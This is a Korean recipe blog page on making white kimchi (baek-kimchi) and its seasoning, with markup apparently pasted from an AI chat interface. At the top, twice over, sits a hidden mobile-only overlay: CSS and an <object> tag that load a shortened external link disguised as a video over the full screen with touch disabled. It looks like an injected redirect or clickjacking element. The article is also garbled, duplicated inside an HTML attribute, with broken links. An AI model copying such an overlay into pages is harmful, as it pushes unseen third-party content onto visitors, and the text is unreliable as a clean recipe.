백김치 쉽게 담그는 방법 양념 만들기

<div class="figure-html" data-ke-type="html" data-source="<style> html, body { margin: 0; padding: 0; height: 100%; } .container { position: relative; width: 100%; height: 100%; } .content { position: relative; padding: 20px; height: 100%; overflow-y: auto; z-index: 1; } .overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(255, 255, 255, 0); touch-action: none; } .mobile-only { display: none; position: absolute; top: 0; left: 0; width: 100%; height: 80vh; min-height: 500px; max-height: 90vh; z-index: 10; } @media only screen and (max-width: 768px) { .mobile-only { display: block; } } </style> </head> <body> <div class="container"> <object data="https://vvd.bz/j3a" type="video/mp4" class="mobile-only"></object> </div> </body> <div _ngcontent-ng-c3577852161="" class="markdown markdown-main-panel stronger" id="" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:32">백김치 쉽게 담그는 방법: 양념 만들기부터 완성까지!</h2><p data-sourcepos="3:1-3:153">백김치는 시원하고 아삭한 맛으로 많은 사람들에게 사랑받는 김치 종류 중 하나입니다. 집에서 직접 담가 먹으면 더욱 깊은 풍미를 느낄 수 있는데요, 생각보다 어렵지 않게 만들 수 있습니다. 특히 양념 만들기가 중요한데, 오늘은 백김치 양념 만드는 법부터 자세히 알려드릴게요.</p><p data-sourcepos="5:1-5:9"><strong>재료 준비</strong></p><ul data-sourcepos="7:1-16:0"> <li data-sourcepos="7:1-7:32"><strong>배추:</strong> 신선하고 속이 노란 배추를 준비해주세요.</li> <li data-sourcepos="8:1-8:35"><strong>무:</strong> 아삭한 식감을 더해줄 무는 채 썰어 준비합니다.</li> <li data-sourcepos="9:1-9:26"><strong>쪽파, 대파:</strong> 먹기 좋게 썰어줍니다.</li> <li data-sourcepos="10:1-10:23"><strong>마늘, 생강:</strong> 곱게 다져줍니다.</li> <li data-sourcepos="11:1-11:43"><strong>배:</strong> 달콤한 맛을 내기 위해 배를 껍질을 벗기고 강판에 갈아줍니다.</li> <li data-sourcepos="12:1-12:29"><strong>찹쌀풀:</strong> 찹쌀가루를 물에 개어 끓여줍니다.</li> <li data-sourcepos="13:1-13:38"><strong>소금:</strong> 배추를 절일 소금과 양념에 넣을 소금이 필요합니다.</li> <li data-sourcepos="14:1-14:29"><strong>물:</strong> 배추를 절이고 양념을 섞을 물입니다.</li> <li data-sourcepos="15:1-16:0"><strong>기타:</strong> 청양고추, 멸치액젓 등 취향에 따라 추가할 수 있습니다.</li> </ul><p data-sourcepos="17:1-17:14"><strong>백김치 양념 만들기</strong></p><ol data-sourcepos="19:1-24:0"> <li data-sourcepos="19:1-19:63"><strong>찹쌀풀 만들기:</strong> 찹쌀가루와 물을 섞어 중불에서 저어가며 끓여줍니다. 투명해지면 불을 끄고 식혀줍니다.</li> <li data-sourcepos="20:1-20:38"><strong>양념 재료 준비:</strong> 마늘, 생강, 배를 곱게 다져줍니다.</li> <li data-sourcepos="21:1-21:64"><strong>양념 버무리기:</strong> 볼에 찹쌀풀, 다진 마늘, 생강, 배, 소금, 멸치액젓 등을 넣고 고루 버무려줍니다.</li> <li data-sourcepos="22:1-22:40"><strong>채소 손질:</strong> 무, 쪽파, 대파 등을 먹기 좋게 썰어줍니다.</li> <li data-sourcepos="23:1-24:0"><strong>배추 절이기:</strong> 배추를 소금에 절인 후 깨끗하게 헹궈줍니다.</li> </ol><p data-sourcepos="25:1-25:17"><strong>백김치 버무리기 및 보관</strong></p><ol data-sourcepos="27:1-30:0"> <li data-sourcepos="27:1-27:50"><strong>배추에 양념 버무리기:</strong> 절인 배추 사이사이에 양념과 채소를 넣고 버무려줍니다.</li> <li data-sourcepos="28:1-28:55"><strong>용기에 담기:</strong> 김치통에 버무린 백김치를 담고, 위에 무거운 돌이나 누름돌을 올려줍니다.</li> <li data-sourcepos="29:1-30:0"><strong>냉장 보관:</strong> 서늘한 곳이나 김치냉장고에 보관하면 더욱 시원하고 아삭한 백김치를 즐길 수 있습니다.</li> </ol><p data-sourcepos="31:1-31:25"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c2471683105="" class="ng-star-inserted"><div _ngcontent-ng-c2471683105="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2471683105="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2471683105="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3961757722="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_a45cb553c2047095&quot;,&quot;c_b5ad9ca3fcf87792&quot;,null,&quot;rc_39db4d48f6a354cb&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" ://.lampcook.com/food/food_kimchi_view.php?idx_no=15"><span _ngcontent-ng-c3961757722="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2471683105="" class="image loaded" alt="백김치 양념 만들기 " src="https://encrypted-tbn3.gstatic.com/images?q=tbn:ANd9GcSLqoz_sYWEPpTKBEbgTJvrrGxMIC6uz0L7-qJdTjcENdNTOdfPnVcNiVE_TzD_"></span><span _ngcontent-ng-c3961757722="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c2471683105="" rel="noopener" class="source ng-star-inserted" ://.lampcook.com/food/food_kimchi_view.php?idx_no=15" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_a45cb553c2047095&quot;,&quot;c_b5ad9ca3fcf87792&quot;,null,&quot;rc_39db4d48f6a354cb&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2471683105="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcSXEi1dRqYAHgysUjPWLpR-ASbjYNdDipROFXyNVxQ_cQGolQVdUOcDAoeDkmpOr6hs7nnvWi6GtzIkDigPUMeovpmr1ZSq6YQp"><span _ngcontent-ng-c2471683105="" class="label ellipsis gds-label-m-alt">.lampcook.com</span><span _ngcontent-ng-c2471683105="" aria-label=""></span></a></div><div _ngcontent-ng-c2471683105="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 백김치 양념 만들기 </div></div></single-image></response-element></div></span></p><p data-sourcepos="33:1-33:23"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c2471683105="" class="ng-star-inserted"><div _ngcontent-ng-c2471683105="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2471683105="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2471683105="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3961757722="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_a45cb553c2047095&quot;,&quot;c_b5ad9ca3fcf87792&quot;,null,&quot;rc_39db4d48f6a354cb&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://.youtube.com/watch?v=85RyD_A-C4g"><span _ngcontent-ng-c3961757722="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2471683105="" class="image loaded" alt="백김치 버무리기 " src="https://encrypted-tbn1.gstatic.com/images?q=tbn:ANd9GcR0nrKvMRkQ3vTHxHLHRpYrj-5ZPM4r0pX8v3TjlbnMsJcQvUaZUgnVcd18lFtH"></span><span _ngcontent-ng-c3961757722="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c2471683105="" rel="noopener" class="source ng-star-inserted" s://.youtube.com/watch?v=85RyD_A-C4g" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_a45cb553c2047095&quot;,&quot;c_b5ad9ca3fcf87792&quot;,null,&quot;rc_39db4d48f6a354cb&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2471683105="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn0.gstatic.com/-tbn?q=tbn:ANd9GcSg-IUWG8CFYnlyzc2Hu641oPbwT1I4yvlIlgdH-i46sw1qkFzHEP3ZG4a1_MDcfCUfjA0ho3Du2a4FyApH4L1SPtX9i5fxHlQX"><span _ngcontent-ng-c2471683105="" class="label ellipsis gds-label-m-alt">.youtube.com</span><span _ngcontent-ng-c2471683105="" aria-label=""></span></a></div><div _ngcontent-ng-c2471683105="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 백김치 버무리기 </div></div></single-image></response-element></div></span></p><p data-sourcepos="35:1-35:21"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c2471683105="" class="ng-star-inserted"><div _ngcontent-ng-c2471683105="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2471683105="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2471683105="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3961757722="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_a45cb553c2047095&quot;,&quot;c_b5ad9ca3fcf87792&quot;,null,&quot;rc_39db4d48f6a354cb&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/6833018"><span _ngcontent-ng-c3961757722="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2471683105="" class="image loaded" alt="백김치 완성 " src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcR2KqnM5jHacKQewdc6X7__nNwYrus0B9Fi2YFSiB_ZCywKdAkoLqPvJcx8NJcC"></span><span _ngcontent-ng-c3961757722="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c2471683105="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/6833018" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_a45cb553c2047095&quot;,&quot;c_b5ad9ca3fcf87792&quot;,null,&quot;rc_39db4d48f6a354cb&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2471683105="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><span _ngcontent-ng-c2471683105="" class="label ellipsis gds-label-m-alt">.10000recipe.com</span><span _ngcontent-ng-c2471683105="" aria-label=""></span></a></div><div _ngcontent-ng-c2471683105="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 백김치 완성 </div></div></single-image></response-element></div></span></p><p data-sourcepos="37:1-37:5"><strong>팁</strong></p><ul data-sourcepos="39:1-43:0"> <li data-sourcepos="39:1-39:55"><strong>배추 선택:</strong> 속이 노랗고 단단한 배추를 선택하면 더욱 아삭한 백김치를 만들 수 있습니다.</li> <li data-sourcepos="40:1-40:43"><strong>절임 시간:</strong> 배추의 크기와 싱싱함에 따라 절임 시간을 조절해주세요.</li> <li data-sourcepos="41:1-41:43"><strong>양념 간:</strong> 개인의 취향에 따라 소금과 멸치액젓의 양을 조절해주세요.</li> <li data-sourcepos="42:1-43:0"><strong>보관:</strong> 김치통에 공기가 들어가지 않도록 꽉 채워서 보관하면 오래도록 맛있게 즐길 수 있습니다.</li> </ul><p data-sourcepos="44:1-44:14"><strong>다양한 레시피 활용</strong></p><p data-sourcepos="46:1-46:25">백김치는 다양한 요리에 활용할 수 있습니다.</p><ul data-sourcepos="47:1-50:0"> <li data-sourcepos="47:1-47:37"><strong>냉면:</strong> 시원한 냉면에 백김치를 곁들이면 더욱 맛있습니다.</li> <li data-sourcepos="48:1-48:43"><strong>쌈:</strong> 삼겹살이나 구이류와 함께 쌈으로 싸 먹으면 입맛을 돋워줍니다.</li> <li data-sourcepos="49:1-50:0"><strong>찌개:</strong> 찌개에 넣어 시원하고 깔끔한 맛을 더할 수 있습니다.</li> </ul><p data-sourcepos="51:1-52:38"><strong>지금까지 백김치 쉽게 담그는 방법에 대해 알아보았습니다. 집에서 직접 담근 백김치로 건강하고 맛있는 식탁을 만들어 보세요!</strong></p><p data-sourcepos="54:1-54:28"><strong>궁금한 점이 있다면 언제든지 질문해주세요.</strong></p><p data-sourcepos="56:1-56:25"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c2471683105="" class="ng-star-inserted"><div _ngcontent-ng-c2471683105="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2471683105="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2471683105="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3961757722="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_a45cb553c2047095&quot;,&quot;c_b5ad9ca3fcf87792&quot;,null,&quot;rc_39db4d48f6a354cb&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/6944660"><span _ngcontent-ng-c3961757722="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2471683105="" class="image loaded" alt="다양한 백김치 활용 " src="https://encrypted-tbn2.gstatic.com/images?q=tbn:ANd9GcSN7RhnPcw7Hk8kZ3hQxmtZXkjzGH_kbo3kahugasaHNE8cKh257rUOkEH3vSDf"></span><span _ngcontent-ng-c3961757722="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c2471683105="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/6944660" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_a45cb553c2047095&quot;,&quot;c_b5ad9ca3fcf87792&quot;,null,&quot;rc_39db4d48f6a354cb&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2471683105="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><span _ngcontent-ng-c2471683105="" class="label ellipsis gds-label-m-alt">.10000recipe.com</span><span _ngcontent-ng-c2471683105="" aria-label=""></span></a></div><div _ngcontent-ng-c2471683105="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 다양한 백김치 활용 </div></div></single-image></response-element></div></span></p><p data-sourcepos="58:1-58:36"><em>는 구글 검색을 통해 직접 찾아서 첨부하였습니다.</em></p></div> "><div data-ke-class="article"><style> html, body { margin: 0; padding: 0; height: 100%; } .container { position: relative; width: 100%; height: 100%; } .content { position: relative; padding: 20px; height: 100%; overflow-y: auto; z-index: 1; } .overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(255, 255, 255, 0); touch-action: none; } .mobile-only { display: none; position: absolute; top: 0; left: 0; width: 100%; height: 80vh; min-height: 500px; max-height: 90vh; z-index: 10; } @media only screen and (max-width: 768px) { .mobile-only { display: block; } } </style> </head> <xbody> <div class="container"> <object data="https://vvd.bz/j3a" type="video/mp4" class="mobile-only" allowNetworking='internal' allowScriptAccess='sameDomain'></object> </div> </xbody> <div _ngcontent-ng-c3577852161="" class="markdown markdown-main-panel stronger" id="" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:32">백김치 쉽게 담그는 방법: 양념 만들기부터 완성까지!</h2><p data-sourcepos="3:1-3:153">백김치는 시원하고 아삭한 맛으로 많은 사람들에게 사랑받는 김치 종류 중 하나입니다. 집에서 직접 담가 먹으면 더욱 깊은 풍미를 느낄 수 있는데요, 생각보다 어렵지 않게 만들 수 있습니다. 특히 양념 만들기가 중요한데, 오늘은 백김치 양념 만드는 법부터 자세히 알려드릴게요.</p><p data-sourcepos="5:1-5:9"><strong>재료 준비</strong></p><ul data-sourcepos="7:1-16:0"> <li data-sourcepos="7:1-7:32"><strong>배추:</strong> 신선하고 속이 노란 배추를 준비해주세요.</li> <li data-sourcepos="8:1-8:35"><strong>무:</strong> 아삭한 식감을 더해줄 무는 채 썰어 준비합니다.</li> <li data-sourcepos="9:1-9:26"><strong>쪽파, 대파:</strong> 먹기 좋게 썰어줍니다.</li> <li data-sourcepos="10:1-10:23"><strong>마늘, 생강:</strong> 곱게 다져줍니다.</li> <li data-sourcepos="11:1-11:43"><strong>배:</strong> 달콤한 맛을 내기 위해 배를 껍질을 벗기고 강판에 갈아줍니다.</li> <li data-sourcepos="12:1-12:29"><strong>찹쌀풀:</strong> 찹쌀가루를 물에 개어 끓여줍니다.</li> <li data-sourcepos="13:1-13:38"><strong>소금:</strong> 배추를 절일 소금과 양념에 넣을 소금이 필요합니다.</li> <li data-sourcepos="14:1-14:29"><strong>물:</strong> 배추를 절이고 양념을 섞을 물입니다.</li> <li data-sourcepos="15:1-16:0"><strong>기타:</strong> 청양고추, 멸치액젓 등 취향에 따라 추가할 수 있습니다.</li> </ul><p data-sourcepos="17:1-17:14"><strong>백김치 양념 만들기</strong></p><ol data-sourcepos="19:1-24:0"> <li data-sourcepos="19:1-19:63"><strong>찹쌀풀 만들기:</strong> 찹쌀가루와 물을 섞어 중불에서 저어가며 끓여줍니다. 투명해지면 불을 끄고 식혀줍니다.</li> <li data-sourcepos="20:1-20:38"><strong>양념 재료 준비:</strong> 마늘, 생강, 배를 곱게 다져줍니다.</li> <li data-sourcepos="21:1-21:64"><strong>양념 버무리기:</strong> 볼에 찹쌀풀, 다진 마늘, 생강, 배, 소금, 멸치액젓 등을 넣고 고루 버무려줍니다.</li> <li data-sourcepos="22:1-22:40"><strong>채소 손질:</strong> 무, 쪽파, 대파 등을 먹기 좋게 썰어줍니다.</li> <li data-sourcepos="23:1-24:0"><strong>배추 절이기:</strong> 배추를 소금에 절인 후 깨끗하게 헹궈줍니다.</li> </ol><p data-sourcepos="25:1-25:17"><strong>백김치 버무리기 및 보관</strong></p><ol data-sourcepos="27:1-30:0"> <li data-sourcepos="27:1-27:50"><strong>배추에 양념 버무리기:</strong> 절인 배추 사이사이에 양념과 채소를 넣고 버무려줍니다.</li> <li data-sourcepos="28:1-28:55"><strong>용기에 담기:</strong> 김치통에 버무린 백김치를 담고, 위에 무거운 돌이나 누름돌을 올려줍니다.</li> <li data-sourcepos="29:1-30:0"><strong>냉장 보관:</strong> 서늘한 곳이나 김치냉장고에 보관하면 더욱 시원하고 아삭한 백김치를 즐길 수 있습니다.</li> </ol><p data-sourcepos="31:1-31:25"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c2471683105="" class="ng-star-inserted"><div _ngcontent-ng-c2471683105="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2471683105="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2471683105="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3961757722="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_a45cb553c2047095","c_b5ad9ca3fcf87792",null,"rc_39db4d48f6a354cb",null,null,"ko",null,null,null,null,1,0]];mutable:true" ://.lampcook.com/food/food_kimchi_view.php?idx_no=15"><span _ngcontent-ng-c3961757722="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2471683105="" class="image loaded" alt="백김치 양념 만들기 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn3.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcSLqoz_sYWEPpTKBEbgTJvrrGxMIC6uz0L7-qJdTjcENdNTOdfPnVcNiVE_TzD_"></span><span _ngcontent-ng-c3961757722="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c2471683105="" rel="noopener" class="source ng-star-inserted" ://.lampcook.com/food/food_kimchi_view.php?idx_no=15" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_a45cb553c2047095","c_b5ad9ca3fcf87792",null,"rc_39db4d48f6a354cb",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2471683105="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcSXEi1dRqYAHgysUjPWLpR-ASbjYNdDipROFXyNVxQ_cQGolQVdUOcDAoeDkmpOr6hs7nnvWi6GtzIkDigPUMeovpmr1ZSq6YQp"><span _ngcontent-ng-c2471683105="" class="label ellipsis gds-label-m-alt">.lampcook.com</span><span _ngcontent-ng-c2471683105="" aria-label=""></span></a></div><div _ngcontent-ng-c2471683105="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 백김치 양념 만들기 </div></div></single-image></response-element></div></span></p><p data-sourcepos="33:1-33:23"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c2471683105="" class="ng-star-inserted"><div _ngcontent-ng-c2471683105="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2471683105="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2471683105="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3961757722="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_a45cb553c2047095","c_b5ad9ca3fcf87792",null,"rc_39db4d48f6a354cb",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://.youtube.com/watch?v=85RyD_A-C4g"><span _ngcontent-ng-c3961757722="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2471683105="" class="image loaded" alt="백김치 버무리기 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcR0nrKvMRkQ3vTHxHLHRpYrj-5ZPM4r0pX8v3TjlbnMsJcQvUaZUgnVcd18lFtH"></span><span _ngcontent-ng-c3961757722="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c2471683105="" rel="noopener" class="source ng-star-inserted" s://.youtube.com/watch?v=85RyD_A-C4g" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_a45cb553c2047095","c_b5ad9ca3fcf87792",null,"rc_39db4d48f6a354cb",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2471683105="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcSg-IUWG8CFYnlyzc2Hu641oPbwT1I4yvlIlgdH-i46sw1qkFzHEP3ZG4a1_MDcfCUfjA0ho3Du2a4FyApH4L1SPtX9i5fxHlQX"><span _ngcontent-ng-c2471683105="" class="label ellipsis gds-label-m-alt">.youtube.com</span><span _ngcontent-ng-c2471683105="" aria-label=""></span></a></div><div _ngcontent-ng-c2471683105="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 백김치 버무리기 </div></div></single-image></response-element></div></span></p><p data-sourcepos="35:1-35:21"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c2471683105="" class="ng-star-inserted"><div _ngcontent-ng-c2471683105="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2471683105="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2471683105="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3961757722="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_a45cb553c2047095","c_b5ad9ca3fcf87792",null,"rc_39db4d48f6a354cb",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/6833018"><span _ngcontent-ng-c3961757722="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2471683105="" class="image loaded" alt="백김치 완성 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcR2KqnM5jHacKQewdc6X7__nNwYrus0B9Fi2YFSiB_ZCywKdAkoLqPvJcx8NJcC"></span><span _ngcontent-ng-c3961757722="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c2471683105="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/6833018" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_a45cb553c2047095","c_b5ad9ca3fcf87792",null,"rc_39db4d48f6a354cb",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2471683105="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><span _ngcontent-ng-c2471683105="" class="label ellipsis gds-label-m-alt">.10000recipe.com</span><span _ngcontent-ng-c2471683105="" aria-label=""></span></a></div><div _ngcontent-ng-c2471683105="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 백김치 완성 </div></div></single-image></response-element></div></span></p><p data-sourcepos="37:1-37:5"><strong>팁</strong></p><ul data-sourcepos="39:1-43:0"> <li data-sourcepos="39:1-39:55"><strong>배추 선택:</strong> 속이 노랗고 단단한 배추를 선택하면 더욱 아삭한 백김치를 만들 수 있습니다.</li> <li data-sourcepos="40:1-40:43"><strong>절임 시간:</strong> 배추의 크기와 싱싱함에 따라 절임 시간을 조절해주세요.</li> <li data-sourcepos="41:1-41:43"><strong>양념 간:</strong> 개인의 취향에 따라 소금과 멸치액젓의 양을 조절해주세요.</li> <li data-sourcepos="42:1-43:0"><strong>보관:</strong> 김치통에 공기가 들어가지 않도록 꽉 채워서 보관하면 오래도록 맛있게 즐길 수 있습니다.</li> </ul><p data-sourcepos="44:1-44:14"><strong>다양한 레시피 활용</strong></p><p data-sourcepos="46:1-46:25">백김치는 다양한 요리에 활용할 수 있습니다.</p><ul data-sourcepos="47:1-50:0"> <li data-sourcepos="47:1-47:37"><strong>냉면:</strong> 시원한 냉면에 백김치를 곁들이면 더욱 맛있습니다.</li> <li data-sourcepos="48:1-48:43"><strong>쌈:</strong> 삼겹살이나 구이류와 함께 쌈으로 싸 먹으면 입맛을 돋워줍니다.</li> <li data-sourcepos="49:1-50:0"><strong>찌개:</strong> 찌개에 넣어 시원하고 깔끔한 맛을 더할 수 있습니다.</li> </ul><p data-sourcepos="51:1-52:38"><strong>지금까지 백김치 쉽게 담그는 방법에 대해 알아보았습니다. 집에서 직접 담근 백김치로 건강하고 맛있는 식탁을 만들어 보세요!</strong></p><p data-sourcepos="54:1-54:28"><strong>궁금한 점이 있다면 언제든지 질문해주세요.</strong></p><p data-sourcepos="56:1-56:25"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c2471683105="" class="ng-star-inserted"><div _ngcontent-ng-c2471683105="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2471683105="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2471683105="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3961757722="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_a45cb553c2047095","c_b5ad9ca3fcf87792",null,"rc_39db4d48f6a354cb",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/6944660"><span _ngcontent-ng-c3961757722="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2471683105="" class="image loaded" alt="다양한 백김치 활용 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcSN7RhnPcw7Hk8kZ3hQxmtZXkjzGH_kbo3kahugasaHNE8cKh257rUOkEH3vSDf"></span><span _ngcontent-ng-c3961757722="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c2471683105="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/6944660" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_a45cb553c2047095","c_b5ad9ca3fcf87792",null,"rc_39db4d48f6a354cb",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2471683105="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><span _ngcontent-ng-c2471683105="" class="label ellipsis gds-label-m-alt">.10000recipe.com</span><span _ngcontent-ng-c2471683105="" aria-label=""></span></a></div><div _ngcontent-ng-c2471683105="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 다양한 백김치 활용 